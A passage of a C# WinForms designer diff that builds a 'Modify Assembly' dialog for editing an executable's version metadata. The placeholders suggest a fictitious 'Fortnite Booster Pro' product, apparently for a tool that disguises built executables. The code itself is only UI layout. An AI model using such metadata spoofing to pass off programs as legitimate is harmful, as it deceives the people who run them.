Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties22 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties23 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties24 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties25 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties26 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties27 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties28 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + this.bunifuElipse1 = new Bunifu.Framework.UI.BunifuElipse(this.components); + this.panel1 = new System.Windows.Forms.Panel(); + this.bunifuLabel1 = new Bunifu.UI.WinForms.BunifuLabel(); + this.bunifuColorTransition1 = new Bunifu.UI.WinForms.BunifuColorTransition(this.components); + this.bunifuShadowPanel1 = new Bunifu.UI.WinForms.BunifuShadowPanel(); + this.bunifuLabel9 = new Bunifu.UI.WinForms.BunifuLabel(); + this.txtInternalName = new Bunifu.UI.WinForms.BunifuTextBox(); + this.bunifuLabel10 = new Bunifu.UI.WinForms.BunifuLabel(); + this.bunifuLabel4 = new Bunifu.UI.WinForms.BunifuLabel(); + this.txtOriginalFilename = new Bunifu.UI.WinForms.BunifuTextBox(); + this.txtLegalCopyright = new Bunifu.UI.WinForms.BunifuTextBox(); + this.bunifuLabel5 = new Bunifu.UI.WinForms.BunifuLabel(); + this.txtProductName = new Bunifu.UI.WinForms.BunifuTextBox(); + this.bunifuLabel3 = new Bunifu.UI.WinForms.BunifuLabel(); + this.txtFileDescription = new Bunifu.UI.WinForms.BunifuTextBox(); + this.btnCancel = new Bunifu.UI.WinForms.BunifuButton.BunifuButton(); + this.bunifuLabel6 = new Bunifu.UI.WinForms.BunifuLabel(); + this.btnOk = new Bunifu.UI.WinForms.BunifuButton.BunifuButton(); + this.txtLegalTrademarks = new Bunifu.UI.WinForms.BunifuTextBox(); + this.bunifuLabel2 = new Bunifu.UI.WinForms.BunifuLabel(); + this.txtCompanyName = new Bunifu.UI.WinForms.BunifuTextBox(); + this.panel1.SuspendLayout(); + this.bunifuShadowPanel1.SuspendLayout(); + this.SuspendLayout(); + // + // bunifuElipse1 + // + this.bunifuElipse1.ElipseRadius = 5; + this.bunifuElipse1.TargetControl = this; + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(21)))), ((int)(((byte)(21)))), ((int)(((byte)(21))))); + this.panel1.Controls.Add(this.bunifuLabel1); + this.panel1.Dock = System.Windows.Forms.DockStyle.Top; + this.panel1.Location = new System.Drawing.Point(2, 2); + this.panel1.Name = "panel1"; + this.panel1.Padding = new System.Windows.Forms.Padding(0, 0, 5, 0); + this.panel1.Size = new System.Drawing.Size(796, 30); + this.panel1.TabIndex = 0; + this.panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Drag_On_Mousedown); + // + // bunifuLabel1 + // + this.bunifuLabel1.AllowParentOverrides = false; + this.bunifuLabel1.AutoEllipsis = true; + this.bunifuLabel1.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel1.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel1.Font = new System.Drawing.Font("Segoe UI", 9.75F); + this.bunifuLabel1.ForeColor = System.Drawing.Color.White; + this.bunifuLabel1.Location = new System.Drawing.Point(6, 8); + this.bunifuLabel1.Name = "bunifuLabel1"; + this.bunifuLabel1.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel1.Size = new System.Drawing.Size(100, 17); + this.bunifuLabel1.TabIndex = 13; + this.bunifuLabel1.Text = "Modify Assembly"; + this.bunifuLabel1.TextAlignment = System.Drawing.ContentAlignment.MiddleCenter; + this.bunifuLabel1.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // bunifuColorTransition1 + // + this.bunifuColorTransition1.AutoTransition = false; + this.bunifuColorTransition1.ColorArray = new System.Drawing.Color[] { + System.Drawing.Color.Purple, + System.Drawing.Color.Indigo, + System.Drawing.Color.Aqua, + System.Drawing.Color.Lime, + System.Drawing.Color.Yellow, + System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0))))), + System.Drawing.Color.Red}; + this.bunifuColorTransition1.EndColor = System.Drawing.Color.White; + this.bunifuColorTransition1.Interval = 1; + this.bunifuColorTransition1.ProgessValue = 0; + this.bunifuColorTransition1.StartColor = System.Drawing.Color.White; + this.bunifuColorTransition1.TransitionControl = this; + // + // bunifuShadowPanel1 + // + this.bunifuShadowPanel1.BackColor = System.Drawing.Color.Transparent; + this.bunifuShadowPanel1.BorderColor = System.Drawing.Color.Transparent; + this.bunifuShadowPanel1.BorderRadius = 1; + this.bunifuShadowPanel1.BorderThickness = 1; + this.bunifuShadowPanel1.Controls.Add(this.bunifuLabel9); + this.bunifuShadowPanel1.Controls.Add(this.txtInternalName); + this.bunifuShadowPanel1.Controls.Add(this.bunifuLabel10); + this.bunifuShadowPanel1.Controls.Add(this.bunifuLabel4); + this.bunifuShadowPanel1.Controls.Add(this.txtOriginalFilename); + this.bunifuShadowPanel1.Controls.Add(this.txtLegalCopyright); + this.bunifuShadowPanel1.Controls.Add(this.bunifuLabel5); + this.bunifuShadowPanel1.Controls.Add(this.txtProductName); + this.bunifuShadowPanel1.Controls.Add(this.bunifuLabel3); + this.bunifuShadowPanel1.Controls.Add(this.txtFileDescription); + this.bunifuShadowPanel1.Controls.Add(this.btnCancel); + this.bunifuShadowPanel1.Controls.Add(this.bunifuLabel6); + this.bunifuShadowPanel1.Controls.Add(this.btnOk); + this.bunifuShadowPanel1.Controls.Add(this.txtLegalTrademarks); + this.bunifuShadowPanel1.Controls.Add(this.bunifuLabel2); + this.bunifuShadowPanel1.Controls.Add(this.txtCompanyName); + this.bunifuShadowPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.bunifuShadowPanel1.FillStyle = Bunifu.UI.WinForms.BunifuShadowPanel.FillStyles.Solid; + this.bunifuShadowPanel1.GradientMode = Bunifu.UI.WinForms.BunifuShadowPanel.GradientModes.Vertical; + this.bunifuShadowPanel1.Location = new System.Drawing.Point(2, 32); + this.bunifuShadowPanel1.Name = "bunifuShadowPanel1"; + this.bunifuShadowPanel1.Padding = new System.Windows.Forms.Padding(2); + this.bunifuShadowPanel1.PanelColor = System.Drawing.Color.Black; + this.bunifuShadowPanel1.PanelColor2 = System.Drawing.Color.Black; + this.bunifuShadowPanel1.ShadowColor = System.Drawing.Color.DarkGray; + this.bunifuShadowPanel1.ShadowDept = 2; + this.bunifuShadowPanel1.ShadowDepth = 0; + this.bunifuShadowPanel1.ShadowStyle = Bunifu.UI.WinForms.BunifuShadowPanel.ShadowStyles.Surrounded; + this.bunifuShadowPanel1.ShadowTopLeftVisible = false; + this.bunifuShadowPanel1.Size = new System.Drawing.Size(796, 323); + this.bunifuShadowPanel1.Style = Bunifu.UI.WinForms.BunifuShadowPanel.BevelStyles.Flat; + this.bunifuShadowPanel1.TabIndex = 1; + // + // bunifuLabel9 + // + this.bunifuLabel9.AllowParentOverrides = false; + this.bunifuLabel9.AutoEllipsis = false; + this.bunifuLabel9.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel9.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel9.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.bunifuLabel9.ForeColor = System.Drawing.Color.White; + this.bunifuLabel9.Location = new System.Drawing.Point(9, 192); + this.bunifuLabel9.Name = "bunifuLabel9"; + this.bunifuLabel9.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel9.Size = new System.Drawing.Size(85, 17); + this.bunifuLabel9.TabIndex = 20; + this.bunifuLabel9.Text = "Internal Name:"; + this.bunifuLabel9.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.bunifuLabel9.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // txtInternalName + // + this.txtInternalName.AcceptsReturn = false; + this.txtInternalName.AcceptsTab = false; + this.txtInternalName.AnimationSpeed = 200; + this.txtInternalName.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.None; + this.txtInternalName.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.None; + this.txtInternalName.BackColor = System.Drawing.Color.White; + this.txtInternalName.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtInternalName.BackgroundImage"))); + this.txtInternalName.BorderColorActive = System.Drawing.Color.Transparent; + this.txtInternalName.BorderColorDisabled = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.txtInternalName.BorderColorHover = System.Drawing.Color.Transparent; + this.txtInternalName.BorderColorIdle = System.Drawing.Color.Silver; + this.txtInternalName.BorderRadius = 1; + this.txtInternalName.BorderThickness = 1; + this.txtInternalName.CharacterCasing = System.Windows.Forms.CharacterCasing.Normal; + this.txtInternalName.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtInternalName.DefaultFont = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtInternalName.DefaultText = ""; + this.txtInternalName.FillColor = System.Drawing.Color.Black; + this.txtInternalName.ForeColor = System.Drawing.Color.White; + this.txtInternalName.HideSelection = true; + this.txtInternalName.IconLeft = null; + this.txtInternalName.IconLeftCursor = System.Windows.Forms.Cursors.IBeam; + this.txtInternalName.IconPadding = 10; + this.txtInternalName.IconRight = null; + this.txtInternalName.IconRightCursor = System.Windows.Forms.Cursors.IBeam; + this.txtInternalName.Lines = new string[0]; + this.txtInternalName.Location = new System.Drawing.Point(124, 189); + this.txtInternalName.MaxLength = 32767; + this.txtInternalName.MinimumSize = new System.Drawing.Size(1, 1); + this.txtInternalName.Modified = false; + this.txtInternalName.Multiline = false; + this.txtInternalName.Name = "txtInternalName"; + stateProperties1.BorderColor = System.Drawing.Color.Transparent; + stateProperties1.FillColor = System.Drawing.Color.Empty; + stateProperties1.ForeColor = System.Drawing.Color.Empty; + stateProperties1.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtInternalName.OnActiveState = stateProperties1; + stateProperties2.BorderColor = System.Drawing.Color.Silver; + stateProperties2.FillColor = System.Drawing.Color.Black; + stateProperties2.ForeColor = System.Drawing.Color.Transparent; + stateProperties2.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtInternalName.OnDisabledState = stateProperties2; + stateProperties3.BorderColor = System.Drawing.Color.Transparent; + stateProperties3.FillColor = System.Drawing.Color.Empty; + stateProperties3.ForeColor = System.Drawing.Color.Empty; + stateProperties3.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtInternalName.OnHoverState = stateProperties3; + stateProperties4.BorderColor = System.Drawing.Color.Silver; + stateProperties4.FillColor = System.Drawing.Color.Black; + stateProperties4.ForeColor = System.Drawing.Color.White; + stateProperties4.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtInternalName.OnIdleState = stateProperties4; + this.txtInternalName.Padding = new System.Windows.Forms.Padding(3); + this.txtInternalName.PasswordChar = '\0'; + this.txtInternalName.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtInternalName.PlaceholderText = "e.g. FortniteBoosterPro69"; + this.txtInternalName.ReadOnly = false; + this.txtInternalName.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.txtInternalName.SelectedText = ""; + this.txtInternalName.SelectionLength = 0; + this.txtInternalName.SelectionStart = 0; + this.txtInternalName.ShortcutsEnabled = true; + this.txtInternalName.Size = new System.Drawing.Size(648, 24); + this.txtInternalName.Style = Bunifu.UI.WinForms.BunifuTextBox._Style.Bunifu; + this.txtInternalName.TabIndex = 21; + this.txtInternalName.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtInternalName.TextMarginBottom = 0; + this.txtInternalName.TextMarginLeft = 3; + this.txtInternalName.TextMarginTop = 0; + this.txtInternalName.TextPlaceholder = "e.g. FortniteBoosterPro69"; + this.txtInternalName.UseSystemPasswordChar = false; + this.txtInternalName.WordWrap = true; + // + // bunifuLabel10 + // + this.bunifuLabel10.AllowParentOverrides = false; + this.bunifuLabel10.AutoEllipsis = false; + this.bunifuLabel10.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel10.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel10.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.bunifuLabel10.ForeColor = System.Drawing.Color.White; + this.bunifuLabel10.Location = new System.Drawing.Point(9, 228); + this.bunifuLabel10.Name = "bunifuLabel10"; + this.bunifuLabel10.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel10.Size = new System.Drawing.Size(104, 17); + this.bunifuLabel10.TabIndex = 18; + this.bunifuLabel10.Text = "Original Filename:"; + this.bunifuLabel10.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.bunifuLabel10.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // bunifuLabel4 + // + this.bunifuLabel4.AllowParentOverrides = false; + this.bunifuLabel4.AutoEllipsis = false; + this.bunifuLabel4.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel4.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel4.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.bunifuLabel4.ForeColor = System.Drawing.Color.White; + this.bunifuLabel4.Location = new System.Drawing.Point(9, 121); + this.bunifuLabel4.Name = "bunifuLabel4"; + this.bunifuLabel4.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel4.Size = new System.Drawing.Size(95, 17); + this.bunifuLabel4.TabIndex = 20; + this.bunifuLabel4.Text = "Legal Copyright:"; + this.bunifuLabel4.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.bunifuLabel4.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // txtOriginalFilename + // + this.txtOriginalFilename.AcceptsReturn = false; + this.txtOriginalFilename.AcceptsTab = false; + this.txtOriginalFilename.AnimationSpeed = 200; + this.txtOriginalFilename.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.None; + this.txtOriginalFilename.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.None; + this.txtOriginalFilename.BackColor = System.Drawing.Color.White; + this.txtOriginalFilename.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtOriginalFilename.BackgroundImage"))); + this.txtOriginalFilename.BorderColorActive = System.Drawing.Color.Transparent; + this.txtOriginalFilename.BorderColorDisabled = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.txtOriginalFilename.BorderColorHover = System.Drawing.Color.Transparent; + this.txtOriginalFilename.BorderColorIdle = System.Drawing.Color.Silver; + this.txtOriginalFilename.BorderRadius = 1; + this.txtOriginalFilename.BorderThickness = 1; + this.txtOriginalFilename.CharacterCasing = System.Windows.Forms.CharacterCasing.Normal; + this.txtOriginalFilename.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtOriginalFilename.DefaultFont = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtOriginalFilename.DefaultText = ""; + this.txtOriginalFilename.FillColor = System.Drawing.Color.Black; + this.txtOriginalFilename.ForeColor = System.Drawing.Color.White; + this.txtOriginalFilename.HideSelection = true; + this.txtOriginalFilename.IconLeft = null; + this.txtOriginalFilename.IconLeftCursor = System.Windows.Forms.Cursors.IBeam; + this.txtOriginalFilename.IconPadding = 10; + this.txtOriginalFilename.IconRight = null; + this.txtOriginalFilename.IconRightCursor = System.Windows.Forms.Cursors.IBeam; + this.txtOriginalFilename.Lines = new string[0]; + this.txtOriginalFilename.Location = new System.Drawing.Point(124, 225); + this.txtOriginalFilename.MaxLength = 32767; + this.txtOriginalFilename.MinimumSize = new System.Drawing.Size(1, 1); + this.txtOriginalFilename.Modified = false; + this.txtOriginalFilename.Multiline = false; + this.txtOriginalFilename.Name = "txtOriginalFilename"; + stateProperties5.BorderColor = System.Drawing.Color.Transparent; + stateProperties5.FillColor = System.Drawing.Color.Empty; + stateProperties5.ForeColor = System.Drawing.Color.Empty; + stateProperties5.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtOriginalFilename.OnActiveState = stateProperties5; + stateProperties6.BorderColor = System.Drawing.Color.Silver; + stateProperties6.FillColor = System.Drawing.Color.Black; + stateProperties6.ForeColor = System.Drawing.Color.Transparent; + stateProperties6.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtOriginalFilename.OnDisabledState = stateProperties6; + stateProperties7.BorderColor = System.Drawing.Color.Transparent; + stateProperties7.FillColor = System.Drawing.Color.Empty; + stateProperties7.ForeColor = System.Drawing.Color.Empty; + stateProperties7.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtOriginalFilename.OnHoverState = stateProperties7; + stateProperties8.BorderColor = System.Drawing.Color.Silver; + stateProperties8.FillColor = System.Drawing.Color.Black; + stateProperties8.ForeColor = System.Drawing.Color.White; + stateProperties8.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtOriginalFilename.OnIdleState = stateProperties8; + this.txtOriginalFilename.Padding = new System.Windows.Forms.Padding(3); + this.txtOriginalFilename.PasswordChar = '\0'; + this.txtOriginalFilename.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtOriginalFilename.PlaceholderText = "e.g. FortniteBoosterPro_1069.exe"; + this.txtOriginalFilename.ReadOnly = false; + this.txtOriginalFilename.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.txtOriginalFilename.SelectedText = ""; + this.txtOriginalFilename.SelectionLength = 0; + this.txtOriginalFilename.SelectionStart = 0; + this.txtOriginalFilename.ShortcutsEnabled = true; + this.txtOriginalFilename.Size = new System.Drawing.Size(648, 24); + this.txtOriginalFilename.Style = Bunifu.UI.WinForms.BunifuTextBox._Style.Bunifu; + this.txtOriginalFilename.TabIndex = 19; + this.txtOriginalFilename.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtOriginalFilename.TextMarginBottom = 0; + this.txtOriginalFilename.TextMarginLeft = 3; + this.txtOriginalFilename.TextMarginTop = 0; + this.txtOriginalFilename.TextPlaceholder = "e.g. FortniteBoosterPro_1069.exe"; + this.txtOriginalFilename.UseSystemPasswordChar = false; + this.txtOriginalFilename.WordWrap = true; + // + // txtLegalCopyright + // + this.txtLegalCopyright.AcceptsReturn = false; + this.txtLegalCopyright.AcceptsTab = false; + this.txtLegalCopyright.AnimationSpeed = 200; + this.txtLegalCopyright.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.None; + this.txtLegalCopyright.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.None; + this.txtLegalCopyright.BackColor = System.Drawing.Color.White; + this.txtLegalCopyright.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtLegalCopyright.BackgroundImage"))); + this.txtLegalCopyright.BorderColorActive = System.Drawing.Color.Transparent; + this.txtLegalCopyright.BorderColorDisabled = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.txtLegalCopyright.BorderColorHover = System.Drawing.Color.Transparent; + this.txtLegalCopyright.BorderColorIdle = System.Drawing.Color.Silver; + this.txtLegalCopyright.BorderRadius = 1; + this.txtLegalCopyright.BorderThickness = 1; + this.txtLegalCopyright.CharacterCasing = System.Windows.Forms.CharacterCasing.Normal; + this.txtLegalCopyright.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtLegalCopyright.DefaultFont = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtLegalCopyright.DefaultText = ""; + this.txtLegalCopyright.FillColor = System.Drawing.Color.Black; + this.txtLegalCopyright.ForeColor = System.Drawing.Color.White; + this.txtLegalCopyright.HideSelection = true; + this.txtLegalCopyright.IconLeft = null; + this.txtLegalCopyright.IconLeftCursor = System.Windows.Forms.Cursors.IBeam; + this.txtLegalCopyright.IconPadding = 10; + this.txtLegalCopyright.IconRight = null; + this.txtLegalCopyright.IconRightCursor = System.Windows.Forms.Cursors.IBeam; + this.txtLegalCopyright.Lines = new string[0]; + this.txtLegalCopyright.Location = new System.Drawing.Point(124, 118); + this.txtLegalCopyright.MaxLength = 32767; + this.txtLegalCopyright.MinimumSize = new System.Drawing.Size(1, 1); + this.txtLegalCopyright.Modified = false; + this.txtLegalCopyright.Multiline = false; + this.txtLegalCopyright.Name = "txtLegalCopyright"; + stateProperties9.BorderColor = System.Drawing.Color.Transparent; + stateProperties9.FillColor = System.Drawing.Color.Empty; + stateProperties9.ForeColor = System.Drawing.Color.Empty; + stateProperties9.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtLegalCopyright.OnActiveState = stateProperties9; + stateProperties10.BorderColor = System.Drawing.Color.Silver; + stateProperties10.FillColor = System.Drawing.Color.Black; + stateProperties10.ForeColor = System.Drawing.Color.Transparent; + stateProperties10.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtLegalCopyright.OnDisabledState = stateProperties10; + stateProperties11.BorderColor = System.Drawing.Color.Transparent; + stateProperties11.FillColor = System.Drawing.Color.Empty; + stateProperties11.ForeColor = System.Drawing.Color.Empty; + stateProperties11.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtLegalCopyright.OnHoverState = stateProperties11; + stateProperties12.BorderColor = System.Drawing.Color.Silver; + stateProperties12.FillColor = System.Drawing.Color.Black; + stateProperties12.ForeColor = System.Drawing.Color.White; + stateProperties12.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtLegalCopyright.OnIdleState = stateProperties12; + this.txtLegalCopyright.Padding = new System.Windows.Forms.Padding(3); + this.txtLegalCopyright.PasswordChar = '\0'; + this.txtLegalCopyright.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtLegalCopyright.PlaceholderText = "e.g. © 2023 Boosters Inc."; + this.txtLegalCopyright.ReadOnly = false; + this.txtLegalCopyright.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.txtLegalCopyright.SelectedText = ""; + this.txtLegalCopyright.SelectionLength = 0; + this.txtLegalCopyright.SelectionStart = 0; + this.txtLegalCopyright.ShortcutsEnabled = true; + this.txtLegalCopyright.Size = new System.Drawing.Size(648, 24); + this.txtLegalCopyright.Style = Bunifu.UI.WinForms.BunifuTextBox._Style.Bunifu; + this.txtLegalCopyright.TabIndex = 21; + this.txtLegalCopyright.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtLegalCopyright.TextMarginBottom = 0; + this.txtLegalCopyright.TextMarginLeft = 3; + this.txtLegalCopyright.TextMarginTop = 0; + this.txtLegalCopyright.TextPlaceholder = "e.g. © 2023 Boosters Inc."; + this.txtLegalCopyright.UseSystemPasswordChar = false; + this.txtLegalCopyright.WordWrap = true; + // + // bunifuLabel5 + // + this.bunifuLabel5.AllowParentOverrides = false; + this.bunifuLabel5.AutoEllipsis = false; + this.bunifuLabel5.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel5.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel5.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.bunifuLabel5.ForeColor = System.Drawing.Color.White; + this.bunifuLabel5.Location = new System.Drawing.Point(9, 88); + this.bunifuLabel5.Name = "bunifuLabel5"; + this.bunifuLabel5.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel5.Size = new System.Drawing.Size(87, 17); + this.bunifuLabel5.TabIndex = 18; + this.bunifuLabel5.Text = "Product Name:"; + this.bunifuLabel5.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.bunifuLabel5.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // txtProductName + // + this.txtProductName.AcceptsReturn = false; + this.txtProductName.AcceptsTab = false; + this.txtProductName.AnimationSpeed = 200; + this.txtProductName.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.None; + this.txtProductName.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.None; + this.txtProductName.BackColor = System.Drawing.Color.White; + this.txtProductName.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtProductName.BackgroundImage"))); + this.txtProductName.BorderColorActive = System.Drawing.Color.Transparent; + this.txtProductName.BorderColorDisabled = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.txtProductName.BorderColorHover = System.Drawing.Color.Transparent; + this.txtProductName.BorderColorIdle = System.Drawing.Color.Silver; + this.txtProductName.BorderRadius = 1; + this.txtProductName.BorderThickness = 1; + this.txtProductName.CharacterCasing = System.Windows.Forms.CharacterCasing.Normal; + this.txtProductName.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtProductName.DefaultFont = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtProductName.DefaultText = ""; + this.txtProductName.FillColor = System.Drawing.Color.Black; + this.txtProductName.ForeColor = System.Drawing.Color.White; + this.txtProductName.HideSelection = true; + this.txtProductName.IconLeft = null; + this.txtProductName.IconLeftCursor = System.Windows.Forms.Cursors.IBeam; + this.txtProductName.IconPadding = 10; + this.txtProductName.IconRight = null; + this.txtProductName.IconRightCursor = System.Windows.Forms.Cursors.IBeam; + this.txtProductName.Lines = new string[0]; + this.txtProductName.Location = new System.Drawing.Point(124, 85); + this.txtProductName.MaxLength = 32767; + this.txtProductName.MinimumSize = new System.Drawing.Size(1, 1); + this.txtProductName.Modified = false; + this.txtProductName.Multiline = false; + this.txtProductName.Name = "txtProductName"; + stateProperties13.BorderColor = System.Drawing.Color.Transparent; + stateProperties13.FillColor = System.Drawing.Color.Empty; + stateProperties13.ForeColor = System.Drawing.Color.Empty; + stateProperties13.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtProductName.OnActiveState = stateProperties13; + stateProperties14.BorderColor = System.Drawing.Color.Silver; + stateProperties14.FillColor = System.Drawing.Color.Black; + stateProperties14.ForeColor = System.Drawing.Color.Transparent; + stateProperties14.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtProductName.OnDisabledState = stateProperties14; + stateProperties15.BorderColor = System.Drawing.Color.Transparent; + stateProperties15.FillColor = System.Drawing.Color.Empty; + stateProperties15.ForeColor = System.Drawing.Color.Empty; + stateProperties15.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtProductName.OnHoverState = stateProperties15; + stateProperties16.BorderColor = System.Drawing.Color.Silver; + stateProperties16.FillColor = System.Drawing.Color.Black; + stateProperties16.ForeColor = System.Drawing.Color.White; + stateProperties16.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtProductName.OnIdleState = stateProperties16; + this.txtProductName.Padding = new System.Windows.Forms.Padding(3); + this.txtProductName.PasswordChar = '\0'; + this.txtProductName.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtProductName.PlaceholderText = "e.g. Fortnite Booster Pro"; + this.txtProductName.ReadOnly = false; + this.txtProductName.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.txtProductName.SelectedText = ""; + this.txtProductName.SelectionLength = 0; + this.txtProductName.SelectionStart = 0; + this.txtProductName.ShortcutsEnabled = true; + this.txtProductName.Size = new System.Drawing.Size(648, 24); + this.txtProductName.Style = Bunifu.UI.WinForms.BunifuTextBox._Style.Bunifu; + this.txtProductName.TabIndex = 19; + this.txtProductName.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtProductName.TextMarginBottom = 0; + this.txtProductName.TextMarginLeft = 3; + this.txtProductName.TextMarginTop = 0; + this.txtProductName.TextPlaceholder = "e.g. Fortnite Booster Pro"; + this.txtProductName.UseSystemPasswordChar = false; + this.txtProductName.WordWrap = true; + // + // bunifuLabel3 + // + this.bunifuLabel3.AllowParentOverrides = false; + this.bunifuLabel3.AutoEllipsis = false; + this.bunifuLabel3.Cursor = System.Windows.Forms.Cursors.Default; + this.bunifuLabel3.CursorType = System.Windows.Forms.Cursors.Default; + this.bunifuLabel3.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.bunifuLabel3.ForeColor = System.Drawing.Color.White; + this.bunifuLabel3.Location = new System.Drawing.Point(9, 52); + this.bunifuLabel3.Name = "bunifuLabel3"; + this.bunifuLabel3.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.bunifuLabel3.Size = new System.Drawing.Size(92, 17); + this.bunifuLabel3.TabIndex = 16; + this.bunifuLabel3.Text = "File Description:"; + this.bunifuLabel3.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + 